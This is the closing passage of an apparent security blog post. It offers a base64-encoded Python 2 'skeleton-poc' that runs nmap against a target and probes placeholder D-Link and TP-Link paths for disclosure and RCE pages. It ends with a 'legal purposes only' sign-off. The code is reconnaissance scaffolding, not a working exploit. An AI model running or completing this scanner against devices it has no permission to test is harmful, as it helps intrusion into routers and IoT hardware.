PSAnMjEnOg ogICAgICBw cmludCAnWytdIGZvdW5kIHBv cnQ6I CVzJyAlICggcG9ydCApIAogI CAg 

ICAjZm91 bmRfMjEodGFyZ2V0KQogICAgZWxpZi Bwb3J0ID0 9ICcyMic6 CiAgICAgIH ByaW50I Cdb 

K10gZm9 1bmQg cG9ydDogJXMnI CUg KCBw b3J0ICk KICAgICAg cHJpbnQgJycKICAgIGVsa WYgcG 9y 

dCA9PSAnMjM nOg ogICAgICBwcmludCAnWytdIGZvdW5kIHBv cnQ6ICVzJyAlICgg cG9ydCApCiAg 
ICAgICNmb3V uZF8yMyh0YXJnZXQpCiAgICAgIH ByaW50I CcnCiAgICA KICAgIGVsa WYgKH BvcnQg 

PT0gJzgwJyBvciBwb3J0ID09I Cc0 NDMnKTogIy BvciA0NDMg b3Ig c3NsL2h0dH BzLi4uCiAgICAg 

IHByaW50 ICdbK1 0gZm91 bmQg cG9ydD ogJXMnI CUgKCBw b3J0ICkKI CAgICAgcHJpbnQgJycKI CAg 

ICAgd2ViX2 RlZmluZ WQodGFyZ2V0 LCBw b3J0KQoKCiAgICBlbH NlOgogI CAgICBwcmludCAnWytd 

IGZvdW5kICh1bmtub3duKikgcG 9ydDogJXM nICUg KCBwb3J0I CkKICAgI CAgI3ByaW50ICcgICAg 

KnVua25vd24gbWVhbnMgaGVyZTogd2UgZ GlkIG5vdCB5ZXQgcHJlcGFyZSBhbiBhdH RhY2sgZ m9y 
IHRoa XMgcG 9ydCcKCg oKCiAgIyMjIAogIHByaW50ICdwYXJza W5nIGZ pbmlzaGVkLl xuJwoKCiMj 

IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZGVm 

IHdlYl9kZWZpbmVkKH RhcmdldCwg cG9ydCk6Cg ogICMgY2 hlY2sgZGV mYXVsdCBsb2 NhdGlvbnMg 

Zm9yIGRlZ mF1bHQg cm9 1dGVycy9 pb3 QKI CBk bGlua1 9wYXRocyA9IFsnL2l uZGV4LmNnaScsJy9 m 

dWxsL3 BhdGgvZGlzY2 xvc3VyZS5jb2 5mJ10 KICB0 cGxpbmtfcGF0aHMg PSBbJy9pbmRleDI ucG hw 
JywnL3BhdGgyL3JjZS5odG1 sJ10KCiAg cHJpbnQgJ1sr XSBpbiB3Z WJfZGVma W5lZCgl czol cykn 

ICUgKCB0Y XJnZXQsIH BvcnQpIA oKI CAjIGluaXQgcmVxI HRvIG dyYWIgYXBwbGl hbmNlIG 5hbWUg 

aWYgdGhl cmUnbGwgYmUgYW5 5IGluI Hd3 dyByZXNw CiAgY2hlY2tMa W5rID0gJ2h0 dHA6 Ly8nI Csg 

dGFyZ2V0ICsgJzonICsgcG9y dCArICcvJwoKI CB0 cnk6 CiAgICBpbml0X3Jl cSA9IHJlcXVlc3Rz 

LmdldChjaGVja0xpbmssI HZlcmlmeT 1GYWxzZSkKI CAgIGluaXRfcmVzcCA9IGlua XRfcmVxLnRl 

eHQKCiAgICBpZiBpbml0X3Jlc3AuZml uZCgnZG xpbmsnKSAhPSAtMToKI CAgICAgcHJpbnQgJ1sr 
XSBmb3VuZCBkbGl uaywgY2hlY2tpbmcuLi4nCiAgICAgIGZvci BsaW5rIGluIG Rsa W5rX3 BhdGhz 

OgogICAgI CAgIGNoZ WNraW5nID 0gY2hlY2tMa W5rICsgbGluaw ogICAgI CAgIHJlcSA9IHJlcXVl 

c3RzLmdldChjaGVja2l uZywgdmVyaWZ5 PUZhbHNlKQogI CAgICAgIHJlc3AyID0gcmVxLnRl eHQK 

CiAgICAgICAgcHJpbnQgJ1srXSBGb3VuZ CBwY Wdl LCByZXNwb2 5zZSBiZWxvdzonCiAgICAgICAg 

cHJpbnQg cmVzcDIKI CAgICAgCg ogIGV4Y2VwdCByZXF1Z XN0 cy5leGNl cHRpb2 5zLk Nvbm5lY3Rp 
b25FcnJvciBhcyBl OgogICAg cHJpbnQgZ QogI CAgcGFzcwoKCgoKIyMjIyMjIyMjIyMjIyMjIyMj 

IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZGVmIG1 haW4 o 

KToKI CBw cml udCA naW4g bWFpbigpOi cKCiAgIyBzdGVwMTogc2 NhbiB0Y XJnZXQgd2l0a CBubWFw 

OgogIHNjY W5 NZUZpcnN0KH RhcmdldCkKCiAgIyBzdGVwMjogZ3JlcCBmb3Ig b3 BlbiBw b3J0cw og 

ICMgaWYgMjE6I CMgaWYg MjI6ICMga WYgMjM6I CMgaWYgaH R0 cC9 odH RwczoKI CAjICAgIH dlYl9k 
ZWZpbmVkKHRhcmdldCwgcG9ydCkKICAjIC4uLg ogIHJlYWRNZSh0Y XJnZXQpIAoKCgogI CMgZml u 

CiAgcHJpbnQgJ21 haW4 oKSBmaW5pc2hlZC4nCg oKaWYgJ19fbWFpbl9fJyBpbiBfX2 5hbWVfXzoK 

ICBtYWl uKCk KCiMgdXNlIG 9ubHkgZ m9yIG xlZ2FsIH B1cnBv c2VzLg ojIAo= 
 

That should be enough for a ‘skeleton-poc’. 

Remember to use it only for legal purposes. ;] 

 

Cheers 
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Outro 
 

 

Comments/questions – you’ll know how to find me.  

 

Thank you. I appreciate it.  

 

 

 

 

 

 

 

         Cheers 
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